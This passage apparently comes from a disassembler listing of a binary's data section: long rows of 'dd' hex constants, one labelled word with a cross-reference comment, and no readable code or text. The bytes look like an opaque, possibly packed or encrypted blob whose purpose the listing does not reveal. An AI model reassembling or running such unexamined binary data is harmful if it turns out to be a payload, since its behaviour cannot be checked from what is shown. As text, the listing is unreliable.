		dd 0C004A53Fh, 0B22E367h, 790333C3h, 0D8AB64A2h, 43104CFAh
		dd 204867D7h, 2C1A610h,	30D333BDh, 1AFEC160h, 54B8A078h
		dd 0F9AD048Ch, 0C8AFBA2Bh, 0BE00CE34h, 2D247019h, 9780DAB0h
		dd 0B1DE7021h, 801C2CF7h, 90ABEBAh, 64353CC6h, 115C084Fh
		dd 94C4E2C0h, 8B0E4A27h, 0A7F0250h, 42E720C4h, 1D6446E8h
		dd 2EE29B35h, 66FB02B0h, 0A8D816F1h, 5070D614h,	38A57A48h
		dd 2A60F864h, 0A50F1BB9h, 5E56E19Bh, 0B1418864h, 0E18482D1h
		dd 9536D978h, 0E178F204h, 0B80C247Ah, 0B50BCF2Eh, 0AEF8A801h
		dd 33D8C5B2h, 64B09752h, 0F42C31BAh, 270AA11Eh,	1040B0F3h
		dd 4B49CBF5h, 259446FDh, 8200A9B4h, 152CC5C3h, 0F85792h
		dd 168FAE32h, 0C0B667A1h, 6C44B04Fh, 90140302h,	0C97E10h
		dd 82DA28D6h, 62C743C5h, 0DC659187h, 709B1A05h,	1C508980h
		dd 249CF9B3h, 0EBB17982h, 35744081h, 0D0A84B5Dh, 0AB3FB9D8h
		dd 5C627224h, 3A96AC14h, 65638966h, 0C0D0F6h, 37547479h
		dd 0AA2E1AD3h, 40C1C6FEh, 0C06F06CBh, 1DA0E093h, 3B0C44Ch
		dd 82108071h, 4415B57Ch, 10804F97h, 9001C4Bh, 2BAD5EFEh
		dd 7206E07Bh, 0BFFAD57Ch, 0B8637048h, 95D82D40h, 3992BC35h
		dd 0C156200h, 22573CEh,	0AED23EECh, 0C4A1A858h,	681E761Dh
		dd 0BCC45830h, 0DD3A8C1Dh, 5EC4806Ch, 1C706B1h,	8AE14CFh
		dd 6505E8E3h, 7A7F35h, 0DD2FF99Ch, 1355F5B1h, 245EF6E8h
		dd 56F6BF41h, 0E43FAC3Ch, 190C40DEh, 0A2D5728Bh, 2DD6A300h
		dd 0B29CE7Bh, 0E3C4007Ah, 7C26065Ah, 6FE6F525h,	0B495DE2Ch
		dd 7CF8215Eh, 0D9008AA4h, 4773F2A4h, 0E8991481h, 0D501DC22h
		dd 95615ABAh, 48182072h, 68DA2B4Ah, 286BC4C0h, 9302B5A4h
		dd 0BEDA0A40h, 734A55Ah, 7382888h, 59122893h, 510C405Ch
		dd 9998D446h, 8FF3D000h, 1EB974C8h, 94929D54h, 1E11DC17h
		dd 6A78C780h, 0AF00B729h, 0BC474FB2h, 0BCED60C8h, 946028DCh
		dd 0C3217610h, 26898079h, 8CC1BB65h, 60230100h,	0F8FECEE9h
		dd 903C906Ah, 592F2038h, 24A17C17h, 0D9234020h,	0EB9A0073h
		dd 1D9D967Dh, 8DE2A43Eh, 0A8D0D061h, 0D827A106h, 3A603A10h
		dd 8B1C25FBh, 7A2C046Ch, 0FD04B8ECh, 87F7925Eh,	0B1F5C3B0h
		dd 510D4101h, 66FAB864h, 0F8851BD5h, 0A2064CD7h, 6034071Ch
		dd 0E1EEC7ABh, 2F86BD56h, 10402E2Bh, 60C17046h,	0F8686AB3h
		dd 7C9A07FFh, 0D334B617h, 1803E4D4h, 87658B72h,	0A7285200h
		dd 43BE0035h, 2244B3Ah,	39050520h, 13098472h, 11E08480h
		dd 274498F3h, 48404CDFh, 64600EBEh, 6EAF7951h, 0FBAD00B5h
		dd 0C57517BAh, 6F0E1FFFh, 41B0A704h, 0D2B1BBB9h, 0CA2DA067h
		dd 371B8410h, 6C2CB498h, 59003D9Bh, 0DD0D1FF9h,	0ACA8BC9Ch
		dd 4B861727h, 1830C274h
		dd 492461B1h, 8200A071h, 189AF0C0h, 0F95A0DDCh,	2A18518Ch
		dd 2A0E4804h, 0C4848B13h, 0A2372332h, 6456372Fh, 64ECED51h
		dd 16FC0E17h, 0A580D9AAh, 0EA52E334h, 0C30208B6h, 0F31A7A86h
		dd 0EDAD5834h, 747AFC17h, 6820CA12h, 0EAC8268h,	69882960h
		dd 0B3276CC4h, 0E57125A4h, 601FE4D8h, 97520h, 6FD27950h
		dd 363187D9h, 0D6025A00h, 0A81E44B8h, 0B05B0122h, 1A1C4316h
		dd 807C3C11h, 0AC57820h, 52F800ACh, 1947EAA1h, 1C27DD17h
		dd 5C24E2A2h, 24465ED8h, 0D2EB8500h, 0AF349F9Bh, 0D74B3D79h
		dd 1C01088h, 4A35F295h,	40DCA964h, 30C4F6D4h, 31248190h
		dd 990CD4CCh, 9831EBh, 0C817FEC3h, 64321B45h, 0C00DF27Ch
		dd 79F50934h, 915495EEh, 0FC40891Dh, 0D9300093h, 0CFD3D5B8h
		dd 0B06D627h, 0AA14607Ch, 69AB407Dh, 8516B819h,	0D9107668h
		dd 2F264702h, 350428D4h, 8A0CED3h, 795E0CF9h, 619874Eh
		dd 0DD10EC42h, 64A68245h, 54082FABh, 0BEF6EC02h, 58E44244h
		dd 72E323A8h, 9030C912h, 0C0C22DC5h, 9EB4D9D9h,	749C7E02h
		dd 6BEE441h, 3A3BC0h, 3093A18Ch, 10948B2Bh, 0BD6AAF01h
		dd 0A0B552DAh, 75783C6Ch, 50170B1Ah, 44CD32FAh,	6AB8A760h
		dd 0D1243810h, 97E4DF28h, 3C0768BDh, 2DA29B29h,	0F594A4AAh
		dd 6DB6495Eh, 6170F4D3h, 3ED403EAh, 4A07BC09h, 4384C100h
		dd 0D1BA5BF5h, 21D248E5h, 0DAF26700h, 71AE2AAFh, 9FBB1500h
		dd 76855DADh, 2C3E7408h, 0ED91ABAh, 7E833577h, 101119C4h
		dd 0BB800E75h, 9A513F0Fh, 36BC31C1h, 41AD2045h,	6B09AC6Dh
		dd 62246751h, 691879C3h, 3906076Bh, 0C0FCD6CEh,	9D53B1Fh
		dd 66DB5B00h, 34B82E1Eh, 0B9E516ACh, 49FC09D7h,	25446828h
		dd 33D98090h, 692C3401h, 261B049Dh, 6314A030h, 0C86A214Fh
		dd 5D07AFB8h, 0F8C2F61Eh, 2802F5D2h, 54379780h,	8E8240F8h
		dd 417F687Fh, 0C4E15D1Ch, 0C0261640h, 13E3D043h, 0B24E380Ch
		dd 0EFD80024h, 0AD5B5E73h, 0A8120045h, 0D3D95F2Bh, 0E7F771A9h
		dd 0C2EDD6E8h, 48102504h, 2F443107h, 19F0BD28h,	8F5181ADh
		dd 0DA4F20h, 76A00EE9h,	4DE79B26h, 39459930h, 1E4CA53h
		dd 7DA530ECh, 3ADEBC19h, 249EC20h, 28E22Eh, 5E7F9826h
		dd 0A1BFB4E7h, 4E919658h, 8EBC8C1h, 3FFB4C01h, 8A110040h
		dd 5C45BCBAh, 0FBBCA889h, 2007C43h, 1D6CD3FAh, 1A4AF6B3h
		dd 1099A00Bh, 74BCD80h,	0A00CFA5Bh, 835E50FCh, 0F100818Bh
		dd 32048413h, 2093757h,	0AECBA134h, 0B4C22B5Ch,	0B7060FBh
		dd 0CFB32752h, 3410DCE8h, 20B9CDF0h, 0A2F9238Bh, 56D5D70Ch
		dd 71E8430Ch, 0D33602C8h, 647F8425h, 1ABD4C98h,	4EE7610Fh
		dd 0D4CA259Dh, 0BC709C7Bh, 38020048h, 0AE7CD19Eh, 0CB9342Eh
		dd 0BB859F60h, 468B093Dh, 10C9AF2Dh, 0F77530CAh, 34D8C500h
		dd 0B264FABBh, 0F3103D53h, 4F4B1580h, 0BC110A84h, 22D79F02h
		dd 84462C2Dh, 0C05E8030h, 90366BEAh, 8E0038AAh,	0A24D2B3Dh
		dd 1AC2C0F1h, 28DB08B2h, 0B1007C66h, 5D5BE280h,	0FAA69BDEh
		dd 6CF81F5Ch, 34F649DCh, 0BB4684C4h, 89EDB91Dh,	48F9C7FAh
		dd 0EF6F4561h, 193F2F0h, 0C49287E8h, 96D2BB33h,	24DA1AD9h
		dd 0E20E98CFh, 0D809C2C0h, 0C101BF9Fh, 0E9FC568Ah, 8C48BED5h
		dd 52694424h, 0FE257988h, 3E7F0BEBh, 0CF8F165Ah, 40695640h
		dd 340A0EF9h, 0A877A32Dh, 13998082h, 0D9F4D1C0h, 26811976h
		dd 23251FDAh, 0FB142411h, 81584E3Fh, 0FFCC0CAFh, 4CF8E9DBh
		dd 0BD500AC9h, 12BC93A2h, 0F7B80F8Bh, 0B20CF3F6h, 4DA2304Bh
		dd 0C1E6F300h, 7E143D86h, 449613FDh, 88B809D1h,	0A56058CDh
		dd 3BD3484h, 80C93CB8h,	4116AB62h, 1491CFB1h, 5E7B2475h
		dd 94D08970h, 0AA00C471h, 0EA3DCBCAh, 0D3480051h, 0A2690318h
		dd 620022B1h, 677D2DBDh, 5C022C2Fh, 20F8B884h, 4491008Ch
		dd 0E455644Eh, 0D704E187h, 2EFCAECEh, 9FD640C0h, 701603C2h
		dd 0B5B7D8F6h, 0CAECFC0h, 5B202F6Bh, 2B2D7084h,	87F79A00h
		dd 0A612D0FFh, 2FD80534h, 0DB960405h, 0CC899E48h, 11001D75h
		dd 27AE8049h, 2CF31F6h,	4C62EB96h, 7C6A7F05h, 3278E079h
		dd 0A1248623h, 7D60902Eh, 2507CEFDh, 30677BC8h,	187CFC42h
		dd 117AE702h, 0C92B5E1Ah, 423CC748h, 0AC187CFAh, 0EF1E3F22h
		dd 12BCC15Eh, 0F0D4F2A1h, 3380B640h, 44F802h, 0BCCA92FAh
		dd 9F8FA40Eh, 2F268379h, 0D060C4CFh, 1355238h, 7AB34CC1h
		dd 0D00E803Ch, 80BCCA0Ah, 2479215Ch, 0D112E680h, 482EAh
		dd 0D5A02AFBh, 81C3F8D8h, 0BB5017B5h, 3E0E7DA3h, 0B1584091h
		dd 0BB5A96Fh, 0D873D288h, 0F9E44445h, 2AE05F67h, 0FA88BBF4h
		dd 1C5F76E6h, 0EBC23020h, 950C004Ah, 0EE3E8437h, 330135A6h
		dd 87FFBB09h, 8C5BA479h, 39B3C09Eh, 1C58772Bh, 0ABEE9704h
		dd 1CE2079Fh, 0DAD76000h, 30B97F8Bh, 0AA39F11Eh, 1DC0135Dh
		dd 27C622ECh, 0CB834E28h, 0C076C82Ch, 2D8FAA95h, 49233E2Fh
		dd 63C49E90h, 53B50055h, 8A9DA2D3h, 0A609BBE0h,	10230491h
		dd 484E5DD0h, 3900BC48h, 0E72E824Fh, 9800A10Dh,	343D401h
		dd 4FA72156h, 0DFA08BABh, 0E2C06950h, 24342BE6h, 219AFE25h
		dd 53C25890h, 5C8459F8h, 57C084B2h, 0CC5A55DAh,	50286E7Eh
		dd 3B076825h, 4A658A0Bh, 0E5DC3F81h, 7BCCE82h, 74F66992h
		dd 70632176h, 9380119Dh, 8D33734h, 80B45EADh, 0C2D117F4h
		dd 51C32479h, 0C3F25F66h, 66FE8AD7h, 0F7B12C18h, 6B7F42ECh
		dd 909490C4h, 0E0BDEE43h, 0A5AD39h, 2DDD4536h, 6CEC284h
		dd 4F6C7512h, 54E844A8h, 1A2B008Ch, 9AE3049Eh, 0FF4F49E1h
		dd 3FBE1840h, 38BC1A8h,	6927114Ah, 0EDE1DAEBh, 394C4114h
		dd 9A52FC47h, 0F7A28F3Ch, 178E5A02h, 70E306D2h,	88BE4E94h
		dd 24073134h, 0F77355A1h, 1B58E87Bh, 547D0056h,	536B721Fh
		dd 0CE3A6D8Ch, 9DA00F1h, 80AA3A5Bh, 0FA5C0085h,	4DFDC9A8h
		dd 3517BC2Fh, 0A033DAD3h, 0BF31ACB9h, 57FAE8EDh, 3471787h
		dd 9A55ACB0h, 0E0DCA6F2h, 0CA4D1540h, 411C0AFEh, 562C1BB5h
		dd 933F4B46h, 8AD45A80h, 4C54E163h, 61E4F031h, 0AC73362Fh
		dd 292D1006h, 47141152h, 80C0E1FCh, 66AEF59Fh, 0C0A4A233h
		dd 403BF62Ch, 0A61C69DCh, 0EA01D128h, 0DD823CACh, 46B11073h
		dd 4BA00C70h, 4D1021BBh, 0F696D88Bh, 64C84E25h,	30CF2E8Ch
		dd 0F0460FD9h, 64C0A420h, 1201A99Eh, 0F7FF08ECh, 0A4238414h
		dd 10D02B5Ah, 0B4C7691Fh, 826D307Ah, 0BB0EDD3Ch, 840FE4D7h
		dd 0B0C1D986h, 74309034h, 28814C35h, 1CB24Bh, 9991B04Bh
		dd 9E819CBh, 6532BB35h,	0E5A90C04h, 1759C02Ch, 248F3A00h
		dd 374D41D0h, 20DE499Bh, 942B1Dh, 3F6B56F9h, 0E1029330h
		dd 0DAFC8FADh, 7C344627h, 7A353A9Bh, 0D08CA009h, 14EF7418h
		dd 30E4C44h, 4548B5D8h,	53E81ABEh, 0F496CA13h, 247A215Ch
		dd 30AF8FBEh, 13B608Ch,	116A2E67h, 137CAD64h, 0F7003358h
		dd 0CFCA8FD6h, 12C514FCh, 230010AEh, 4BEBA33Ah,	0F60038F3h
		dd 0DD4E3F01h, 20BA6AAh, 645B3BA8h, 2C411E9Bh, 2039BEh
		dd 2126EDFBh, 1A2F87h, 125B0A80h, 59A9FE0Ch, 0D1D20B8h
		dd 813D3915h, 73CED928h, 7C28F7B3h, 35EA5C80h, 6F0084D2h
		dd 0BCB990F9h, 39F80DAh, 0AD217DE5h, 66C269C2h,	3F1ED8DAh
		dd 4EC2DF87h, 0DE607F72h, 37D40C8h, 8201AE0Eh, 0BCB36E3Eh
		dd 16E45C6Ch, 12B8D6D4h, 0C06C20E8h, 9A309035h,	0DBBC1188h
		dd 60EA000Bh, 0B1225A8Fh
		dd 0C90E1E6Bh, 0C5B5DE64h, 0F980319Ah, 0A8F90790h, 78C2E0h
		dd 0C196D351h, 689146E0h, 672B6500h, 0AE2EFFC3h, 959B03ADh
		dd 7DDB80EAh, 0FD724FC0h, 0B100FE7Dh, 538EDA03h, 47A386h
		dd 74BB7DD9h, 0CBB40C10h, 2DB61300h, 7A12FEF7h,	20D560B5h
		dd 3494B24Bh, 96DB790Dh, 5AF0082Fh, 0F97F00A2h,	0C026A503h
		dd 40029C5h, 80FD833Dh,	0EC2D893h, 681F0274h, 0B0BB7CE7h
		dd 0A6F57729h, 887D1A06h, 19CA67h, 0D849B493h, 4043E339h
		dd 7405161Ch, 475F7640h, 0E94F452h, 4611AD5h, 0DA295660h
		dd 88C07E01h, 5C743BBBh, 10E411h, 0B1EB1EB9h, 2DD299B3h
		dd 228E5001h, 20C3FF6Ch, 0E01108E8h, 4BF276h, 3D660B47h
		dd 79643963h, 0B0CDEB0Eh, 90D847B5h, 0E06152C6h, 40E71FDDh
		dd 4FB41F68h, 123CEFAh,	2000DA43h, 74BD3483h, 14976204h
		dd 0A54F9D68h, 0B8581F06h, 0DF38E2FEh, 7E301819h, 2A90DB0Eh
		dd 18C03B42h, 187A2767h, 0F7050E55h, 30975EACh,	42EAB445h
		dd 0DA98D1C0h, 73530024h, 4C0A4383h, 0AF76E35Ch, 302F123Ah
		dd 7D4958BCh, 94790940h, 80DD7A57h, 0A708A2D3h,	0C6360A81h
		dd 7504845Ah, 0DE41005Eh, 0A0CA9A4Dh, 143124A1h, 7E79215Dh
		dd 95C12980h, 9099FA43h, 0B9C9F307h, 2AB0942Ch,	1526ACh
		dd 0DE3D29ABh, 0A0BA16A1h, 82013B7Ch, 6A308366h, 499C807Bh
		dd 1DFE0060h, 0B4CB3931h, 0E1A66D06h, 217D79h, 865F0F89h
		dd 0A43B1AD1h, 0C0709892h, 0D300F671h, 9F0DE9FDh, 1CD2A5Eh
		dd 67D143F3h, 303484DDh, 77305852h, 79AF213Eh, 583763A7h
		dd 0D4D0B769h, 501E5853h, 0ADC0ED73h, 0CBA427E2h, 4BA8C187h
		dd 83243A6Eh, 429C2BC0h, 0C9E79FDEh, 3034AC80h,	0B7510DABh
		dd 0CAF86846h, 1EA32E23h, 0B01A9h, 534D9025h, 0C533DDB6h
		dd 0D3FA5014h, 0DD10002h, 0C3166623h, 287969DBh, 0B17E5D28h
		dd 8A0F9F8h, 652C6C2Ah,	5700C39Dh, 7B932712h, 699900ACh
		dd 0D805B58h, 0A8508A0Eh, 0AE00D3DCh, 2B375F55h, 452DC6h
		dd 69F08617h, 7B3F9334h, 4F701079h, 50D21A0Ch, 0C714D226h
		dd 0FAF66C0h, 5F8A05h, 0F9DB5584h, 411D272Ch, 0A2DBA17Bh
		dd 26DA88B8h, 0B2D304BAh, 0FE638h, 98B97074h, 0F237FC40h
		dd 0C5B700D5h, 0BA774558h, 2F00D876h, 0E398B6C7h, 30CE4D8Eh
		dd 6F18B87Dh, 0D57F6345h, 8205EF7h, 0E22E6Bh, 2482D4D7h
		dd 780014D1h, 9C209121h, 1FE618CAh, 0D81DBCh, 72F0EB48h
		dd 0DA008C87h, 947AFF2Bh, 4221B81Ch, 804FCCD1h,	5F9520C7h
		dd 0C914BA54h, 0A3A17103h, 0C06FE507h, 34D1AEEh, 41E21062h
		dd 89E0CE6Eh, 0D902F2A2h, 0B3601EBBh, 14349377h, 80976408h
		dd 782D5A08h, 0C0A087D6h, 29A831D7h, 3D52C600h,	33E29A23h
		dd 0B206003Ch, 79B5D070h, 95001088h, 4AACC5Ah, 1A17E59h
		dd 73559061h, 203CEB5Dh, 0FA017938h, 0C9A84C89h, 0F840388Bh
		dd 0C47BFDA1h, 443A5729h, 994490BEh, 3A615D39h,	0F2223722h
		dd 0F0CB108Fh, 3C752858h, 5131EA22h, 0B54614B6h, 11714229h
		dd 0AA210F53h, 0D80B710h, 9A735160h, 6477FC00h,	787D0FA0h
		dd 88C402F3h, 21FF0331h, 75D40E60h, 2BEF3900h, 0C824A441h
		dd 12A6001Ah, 46B52F06h, 0AC3C6A07h, 0CF150011h, 0E0F66588h
		dd 0B35900FEh, 0BF04B7CEh, 207724Eh, 3F49AA2h, 0EE201C90h
		dd 27FD16D5h, 5D03BA46h, 80452668h, 70175275h, 0ADE6009Eh
		dd 3F5EC37Fh, 160097BEh, 0C0EDD2BFh, 0B99919h, 0CFE535BBh
		dd 0F908132Ch, 395DCA00h, 0D0FE9641h, 0E499008Ch, 26C00215h
		dd 0A600088Ah, 823B8B72h, 92181Ch, 0E85219DBh, 0EB0195D1h
		dd 0AB235100h, 0DE6E3873h, 28880070h, 93A84EFAh, 98503101h
		dd 0DF03958Bh
		db 0C4h, 0B7h
word_505446	dw 2309h		; DATA XREF: ___:off_435710o
		dd 0CE3980D6h, 508C0784h, 8007F47Dh, 90A7E589h,	0A0036674h
		dd 0FD1292DAh, 0B3329024h, 5E700044h, 96EB555Ch, 0CD00EADDh
		dd 0D4080991h, 2F9FE46h, 0F0B2F789h, 58623DB7h,	0BDCC3460h
		dd 0AB2DDF00h, 7813156Ah, 0E45703C0h, 121A0F6Dh, 70F324C8h
		dd 8DA7E607h, 6F50C920h, 18F614h, 52FB3688h, 0C3D54F35h
		dd 0BAA32606h, 0D8C5F5h, 99E2B44Eh, 2AD2BD84h, 89203Ch
		dd 0B6A3BAECh, 71D345E1h, 0C1C0029h, 99772A1Eh,	8CB0C748h
		dd 24CA9501h, 74307B38h, 23BBD0h, 0C48218A3h, 51854626h
		dd 56091C00h, 0E84A556Dh, 9F0E07FEh, 1FDD18D0h,	390BC09Ch
		dd 4702B86Eh, 6FE39001h, 77E20A2Eh, 3D31864h, 625C7386h
		dd 4E982FF0h, 6C00A495h, 0C75F064Dh, 1F3FBBFh, 422A8C0Ah
		dd 0C8C8A550h, 4F3E6C5Dh, 498E80DAh, 34899C68h,	0A09E0075h
		dd 0DE8DF4CAh, 0A60F1966h, 6F6F3099h, 0F37FA095h, 1CBEF67Ch
		dd 408E7663h, 0CF923BB2h, 0A11F9119h, 7098B6CDh, 1D477C39h
		dd 40770F9Bh, 241082EEh, 5630F7B0h, 92E7201Bh, 1F9EF4C2h
		dd 0FCD048Bh, 221DD5Ch,	0E891E49Fh, 0B873FDDFh,	277A8200h
		dd 636BB061h, 0E7AA1493h, 0BD3BFE8Fh, 6D052200h, 0EF145840h
		dd 90D8EA07h, 0B290F608h, 0BE16B3h, 0CD79178Eh,	0C2B470FEh
		dd 0B6B8C81Bh, 1E63D808h, 354502F4h, 59E16D75h,	28A72840h
		dd 0AC815000h, 38B44DB3h, 376700FDh, 856612EFh,	4100CD43h
		dd 3D28057Fh, 0FBC0A8h,	0FA4C3240h, 0C34BA142h,	0DDB01A00h
		dd 650B26CCh, 0FCD04869h, 0D8675D00h, 5BD7AB20h, 0CB5E9C00h
		dd 0F1D94CE1h, 49D403E7h, 265F35EBh, 0DD3F27C0h, 3A29B009h
		dd 9C1C00A2h, 122AE7Ah,	6E364311h, 925ACE1Eh, 0C02527Ah
		dd 0A84F010h, 0A3A80088h, 279A4A6Dh, 2DD0A10Ch,	36A013h
		dd 793BB58Eh, 4F8BC43Dh, 2FEC30Fh, 1877805Dh, 322170h
		dd 6184AB05h, 42C050CDh, 11070100h, 0D54C5C65h,	873807FAh
		dd 10137244h, 5F9422B4h, 290F4200h, 75E24B85h, 0F6F70207h
		dd 0CFE8ED6h, 0D7C91160h, 479DE100h, 296E3E34h,	0FB0C770h
		dd 35A1F065h, 0AC0EB56Ch, 0A38FF3E7h, 0B08DF778h, 1A80588h
		dd 6162EC9Dh, 0E0F0FD71h, 0F609D2D4h, 87501FAAh, 3F0D930h
		dd 288D2151h, 1EB8F73Fh, 4022EDD5h, 20E8C9ABh, 6700E2ACh
		dd 87B85C6Ah, 83C3BBh, 6204BA7Dh, 20214FA1h, 0E713A203h
		dd 0F0C57568h, 0FF4EF9h, 0C17B0BEh, 18EC3C84h, 36E6700h
		dd 737A0A22h, 7753746Ch, 0F7392678h, 48C10024h,	2F659524h
		dd 0D8CD2503h, 0E0681093h, 0B2ED472h, 0AF4066E4h, 35E17500h
		dd 1600177Dh, 0E9F0BB64h, 992010Fh, 6942BE8Ah, 43071500h
		dd 0B1F0E479h, 91D3040Bh, 800C0EDBh, 51D88B30h,	7EED0226h
		dd 92F49308h, 436E4061h, 85A04AAEh, 0C1EC2311h,	5176B400h
		dd 7D75F895h, 4FE13C0Dh, 0F1C56E07h, 86C930DEh,	0CE014C9Ah
		dd 0CF59A795h, 0B8E0995Eh, 5F1E0042h, 0A26E37CAh, 289140DCh
		dd 89078507h, 0DD157640h, 1DCB006Ch, 0E54EEF75h, 551EA77Ah
		dd 4D804FD5h, 0A38244EDh, 0D40E1DEAh, 47A80BCDh, 1E6C3000h
		dd 20004A54h, 0E43DEDAEh, 0C2BBFFh, 37BE8483h, 0AC8D977Dh
		dd 0B2318EF5h, 0A68F0018h, 3BF4DC2Eh, 4F87DA98h, 4072C65Bh
		dd 6EDDD8A2h, 0BE00D9E4h, 4005E7D7h, 48C8FCh, 0E925A69Ch
		dd 0C6498115h, 1C109E60h, 0F6A598Ch, 0EC4A8960h, 0CF13A860h
		dd 0ED74E05Ch, 64C34200h, 5A1B0722h, 0FD190026h, 0E19DA515h
		dd 0F5008FB7h, 3D0E71FCh, 1C153E2h, 6DACC5F4h, 0E84442E3h
		dd 0EA2E3808h, 3300C99Eh, 0ECFF3901h, 87CA0036h, 0F7F43779h
		dd 0A577EA57h, 31BC6000h, 0C808DB69h, 2D032601h, 0C66B00F8h
		dd 84F82F14h, 68075FB0h, 213FF6Eh, 0FC01FD80h, 0EA3FE91h
		dd 6CDC7109h, 6E346FA0h, 0C60E8DA9h, 87A29FB3h,	0EC80A836h
		dd 482EE0D6h, 610094FAh, 2DB7D40Ch, 1273B304h, 3B17E600h
		dd 8C40FD3Fh, 23AE000Ah, 2F15E1DEh, 0C8046C63h,	43B9AF89h
		dd 53EA4880h, 0CE580076h, 0D5758213h, 340065F3h, 9D2808D2h
		dd 57DD82Ah, 0B9A4924Fh, 8C20805Dh, 9E0305FCh, 0F7A2043Ah
		dd 0F07F8847h, 0BF1800C8h, 0B3622F4h, 57007CBEh, 93B385DDh
		dd 275DC72Ah, 2C018ACFh, 0C821DE50h, 2401052Fh,	2918518Dh
		dd 35FC1E8Fh, 4E30005Bh, 691C5A74h, 0D0005340h,	0B87EF94Bh
		dd 580BA243h, 603F8C6h,	0FB342A95h, 0EE9CB1C0h,	40EDE327h
		dd 1A702A1h, 0F4144124h, 20537FF0h, 31001CE4h, 3655CA30h
		dd 0F01BC927h, 66F80038h, 172AA954h, 8300EA0Ah,	0F4DE4AC1h
		dd 9F4C25h, 0D0AF2407h,	0F713CA58h, 16930307h, 0F0F0683Dh
		dd 0E4404B4Eh, 263B01DCh, 0C7191B1Dh, 5EFC30EBh, 3272FB00h
		dd 2EC5E29Dh, 0BA390074h, 0A78069F4h, 8E00EC43h, 981F2138h
		dd 9D8DD87h, 5ED96466h,	0CC00028Bh, 5D89CAE7h, 651CC800h
		dd 6E25A4A2h, 0E3EAACh,	0E7F934B7h, 0D0F87121h,	0F5A3EC14h
		dd 3FC980CCh, 1CD8D2ABh, 95E3212h, 1C23D44Eh, 2280FB45h
		dd 0E807CAACh, 0D2A4E726h, 3F682741h, 91F460h, 0E169A06Bh
		dd 0ABDD3D5Fh, 72330302h, 0C08A81E4h, 986E6FD9h, 0ECD80054h
		dd 8F13AB06h, 8200DB1Dh, 0CC25CA22h, 50419Eh, 94FF920Eh
		dd 4F2D3346h, 0D7DD0B8h, 0C1CB7703h, 0E02AFE75h, 0C631D1h
		dd 90CD7B5Ah, 9CE66BCAh, 0E58C8600h, 57818099h,	9870F8D5h
		dd 4D30044h, 0D6FEC252h, 47795324h, 7F5A9900h, 86D84BC3h
		dd 0DF9F00C4h, 506E311Dh, 5300EEF8h, 0F7F18C7Ch, 2ED33A97h
		dd 0BD7E35h, 1D026873h,	1E60DABFh, 3F995130h, 0BBAB0EAh
		dd 3BB90A2Bh, 8912D022h, 9C01DCEEh, 40CC4724h, 0C770D6D8h
		dd 424100CBh, 0BFA4239Ah, 0DC00B5C2h, 0C9D8E546h, 2717Fh
		dd 85830D98h, 9E57F155h, 8C9F9C00h, 8FE2DD32h, 0BBD80090h
		dd 0E535ED63h, 0F009A48h, 0A99B44CEh, 504A350h,	0F2CA7456h
		dd 0BFE2001Fh, 0E01D1965h, 0A889B900h, 0AB8AF912h, 90F2036Fh
		dd 0D364EC81h, 72D7488h, 829A8B00h, 1457BFFAh, 0C643001Fh
		dd 0FDAEB44Ah, 0EE07FC5Ah, 926CD101h, 4CF3D000h, 0F19400B9h
		dd 9D9B14A1h, 33A10A5h,	0EA01F8E3h, 9EB13E9Fh, 0A340D2CEh
		dd 0F69C3C4h, 678AD0BDh, 0F16C2200h, 0A41D96B4h, 0FB3F7341h
		dd 105BC700h, 0DB5AC204h, 285D2E22h, 275801A9h,	0ECE01E6Bh
		dd 0F6581A5Bh, 53450025h, 1DC5986Ah, 41A10021h,	5BA517C1h
		dd 7F1639C9h, 0F818B0A8h, 3958F820h, 0D200DD81h, 75CDF10Eh
		dd 0D8C055A5h, 0C34A964Eh, 9D1F176Bh, 1B0D01C2h, 0E4988CCEh
		dd 42001332h, 9AC8722Dh, 0F09622h, 175FA7CFh, 977F75C3h
		dd 4D83ED00h, 0E3DD870h, 6A14887h, 409EB71Dh, 6C16577Eh
		dd 2D18C8E5h, 5110112Ch, 8FC1000Fh, 0CB14627Bh,	0A2FE5C6Fh
		dd 57A5ED13h, 0E5A9EC07h, 3AE61DD3h, 8F006388h,	47EC1B01h
		dd 9DFEA2DAh, 545C0C07h, 83703491h, 6063A5h, 74B2E638h
		dd 56D725C5h, 0E041A300h, 7B7EBCD0h, 0FA3D0CDFh, 0E218572Fh
		dd 2A56F900h, 0C6357913h, 22BF0016h, 40E1AE75h,	8200CD1Ch
		dd 0E3D01E04h, 34B1D3Ah, 54F1A95Dh, 800A8AFh, 49581698h
		dd 787AD32Ch, 0F823003Ch, 0DAAC324Eh, 813FDBD2h, 0FED60ED7h
		dd 0FCC0FF13h, 94DFD46Fh, 0DDE4E96Eh, 0BBF31D71h, 0E4FF0183h
		dd 25E929FBh, 0A0EFDC34h, 276EE707h, 8130B2EAh,	0A07F4F76h
		dd 509F21FBh, 13D8EFh, 4CB41A6Fh, 2B664297h, 297A91F6h
		dd 4A135E76h, 90009E8Bh
		dd 5AB0E09Ah, 32B10034h, 727779A1h, 2C00B4A8h, 58A5CA98h
		dd 8ACB86h, 71E451F4h, 0BFC5654Fh, 0E6F4A1FAh, 30756A00h
		dd 0DB726170h, 0DA9050h, 0D6CA5911h, 5A04EA25h,	38B05600h
		dd 0C0F2812Eh, 707182h,	7DE42C62h, 54A2F857h, 0EC390C00h
		dd 4D5386F3h, 77A1001Bh, 0D4B0E2C0h, 5E006411h,	1F7B7C93h
		dd 78E37A5Ch, 0A8CA0E66h, 6840FBECh, 73F71975h,	72E896E0h
		dd 0A3D9372Eh, 0E06EE200h, 8DD10Dh, 0EEC27616h,	5BAAADF9h
		dd 31A2C401h, 0DA567D59h, 0A579F8h, 53CB7420h, 91D12F0Ah
		dd 282AAD00h, 6E29D8C0h, 2BDB0047h, 4DC6D27h, 0B1D7805h
		dd 724097CEh, 7715EF5Bh, 0B9580070h, 0ADE755A8h, 8B0067AEh
		dd 42C87162h, 7E47CA5h,	0D2AC1D46h, 92170461h, 0D8402F4Ch
		dd 500070E9h, 45B7E544h, 0EEAB11ACh, 5CF20040h,	0DC6A752Ah
		dd 0E1EC7A7Bh, 14947F00h, 71F7BCA1h, 62602548h,	4C0F30DEh
		dd 0B31720BAh, 0E6F57065h, 9DC500A8h, 0A03EC661h, 0F8B70A37h
		dd 0BCCB00FFh, 2D5ACEEAh, 7977C76Fh, 5D9C8007h,	5797EDD9h
		dd 0FCD27460h, 5C09022Dh, 0EB7C0D43h, 300FD0E0h, 3B25EE00h
		dd 9E4C4815h, 0BE4907E5h, 18692F4h, 0D974E4B4h,	13BF7094h
		dd 30E41251h, 0AC004AC2h, 0E6B75B40h, 0EAC0F82Bh, 0A7190A81h
		dd 1D0C323h, 146B971Dh,	0CD312013h, 47C71701h, 45F50EC8h
